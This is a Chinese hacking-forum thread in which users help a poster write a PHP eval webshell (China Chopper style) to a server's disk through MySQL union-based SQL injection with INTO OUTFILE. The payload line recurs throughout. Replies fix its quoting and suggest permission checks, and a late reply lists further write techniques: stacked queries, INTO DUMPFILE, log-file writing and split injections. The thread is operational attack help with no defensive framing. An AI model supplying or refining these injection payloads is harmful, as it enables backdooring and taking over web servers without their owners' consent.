查看: 3506|回复: 8

注入是,输出一句话的问题?

[复制链接]
发表于 2015-9-2 17:39:19 | 显示全部楼层 |阅读模式
在sql 联合查询时,如果联合查询一起是4个字段
select 1,2,3,4,这样可以正常返回,如果我要在1个字段输出一句话
select 1,2,(select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php' ),4
如果这样,那输入一句话的字段,没有返回值,那么联合查询出错,有没有什么解决办法吗
回复

使用道具 举报

发表于 2015-9-2 18:02:09 | 显示全部楼层
这样试试 UNION SELECT 1,2,'aaaa',4 into outfile 'D:/f.php'
回复 支持 反对

使用道具 举报

发表于 2015-9-2 18:03:14 | 显示全部楼层
按我的理解,你那样是错的,那么就变成了 select (select “一句话” into outfile "xxxx/1.php"),这样的语句执行不通

点评

您好,版主,非常感谢能解答我的问题,现在问题是这样 如果是这样SELECT 1,2,'aaaa',4 into outfile 'D:/f.php',是可以输出的,但是把aaa部分,替换成输出一句话,就不正常了,我的理解是,select '' into outfile  详情 回复 发表于 2015-9-2 19:12
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-9-2 19:12:10 | 显示全部楼层
wuyan 发表于 2015-9-2 18:03
按我的理解,你那样是错的,那么就变成了 select (select “一句话” into outfile "xxxx/1.php"),这样的 ...

您好,版主,非常感谢能解答我的问题,现在问题是这样
如果是这样SELECT 1,2,'aaaa',4 into outfile 'D:/f.php',是可以输出的,但是把aaa部分,替换成输出一句话,就不正常了,我的理解是,select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php' ,没有返回值造成的,因为我实验了下 load_file(xx),这个又成功了,不知道我这个对不对,现在想的办法,看有没有办法让select 一句话,返回个值

点评

可能这个目录没有写权限,只能读。  详情 回复 发表于 2015-9-2 19:26
回复 支持 反对

使用道具 举报

发表于 2015-9-2 19:26:40 | 显示全部楼层
lyfzxz 发表于 2015-9-2 19:12
您好,版主,非常感谢能解答我的问题,现在问题是这样
如果是这样SELECT 1,2,'aaaa',4 into outfile 'D:/ ...

可能这个目录没有写权限,只能读。
回复 支持 反对

使用道具 举报

发表于 2015-9-2 19:35:54 | 显示全部楼层
还有你能写其他的内容,不能导出一句话,你就换一句话。。
回复 支持 反对

使用道具 举报

发表于 2015-9-3 08:48:51 | 显示全部楼层
select '<?php @eval($_POST['chopper']);?>' into outfile 'D:/f.php'

一看就知道楼主数据库功底不怎么的,难道你没有发现的导出一句话的sql指令有问题吗??你这句指令电脑会理解为:select '<?php @eval($_POST['

chopper

']);?>' into outfile 'D:/f.php'
其实按照人的理解来说你这句指令是没有问题的,问题就在于人脑会自动修正一些错误,但是电脑不会,解决这个问题的方法有两个,一个是chopper不要用单引号,改成双引号,另一个办法是把单引号转义。

点评

说得有道理,我等下试试,非常感谢啊  详情 回复 发表于 2015-9-12 18:43
回复 支持 反对

使用道具 举报

发表于 2015-9-4 00:48:22 来自手机 | 显示全部楼层
要不要用转移字符
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-9-12 18:43:51 | 显示全部楼层
tintion 发表于 2015-9-3 08:48
一看就知道楼主数据库功底不怎么的,难道你没有发现的导出一句话的sql指令有问题吗??你这句指令电脑会理 ...

说得有道理,我等下试试,非常感谢啊
回复 支持 反对

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: 注入是,输出一句话的问题?

你遇到了 `into outfile` 和联合查询的冲突问题。`into outfile` 本身不返回任何行数据,所以把它放在联合查询的子查询里必然导致该字段无结果,从而破坏联合查询的字段数平衡或返回空。 几个可行的思路: 1. **使用堆叠查询(如果支持)**:分号分隔两条语句,先执行正常联合查询,再执行写入。例如: `select 1,2,3,4; select '' into outfile 'D:/f.php'` 注意:MySQL 默认不支持堆叠查询,但在某些配置(如 PHP 的 `mysqli_multi_query`)或特定环境下可以用。 2. **将写入语句放在联合查询的最后一个字段,并保证前面字段都有值**:既然 `into outfile` 不返回结果,你可以把写入操作作为一个独立查询注入到数据流之外,但这需要你控制的注入点本身就能执行多条语句。如果注入点只允许单条查询,那联合查询就没法同时兼顾。 3. **改用其他文件写入方法**:比如利用 `INTO DUMPFILE`(同样不返回结果),或者结合 `LIMIT` 和 `ORDER BY` 通过错误日志、慢查询日志等方式写一句话。但这些都依赖数据库权限和配置。 4. **拆成两次注入**:第一次利用联合查询或报错注入获取目标字段数、确认注入点,第二次专门执行 `select ... into outfile`
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-5-23 04:09 , Processed in 0.023057 second(s), 17 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部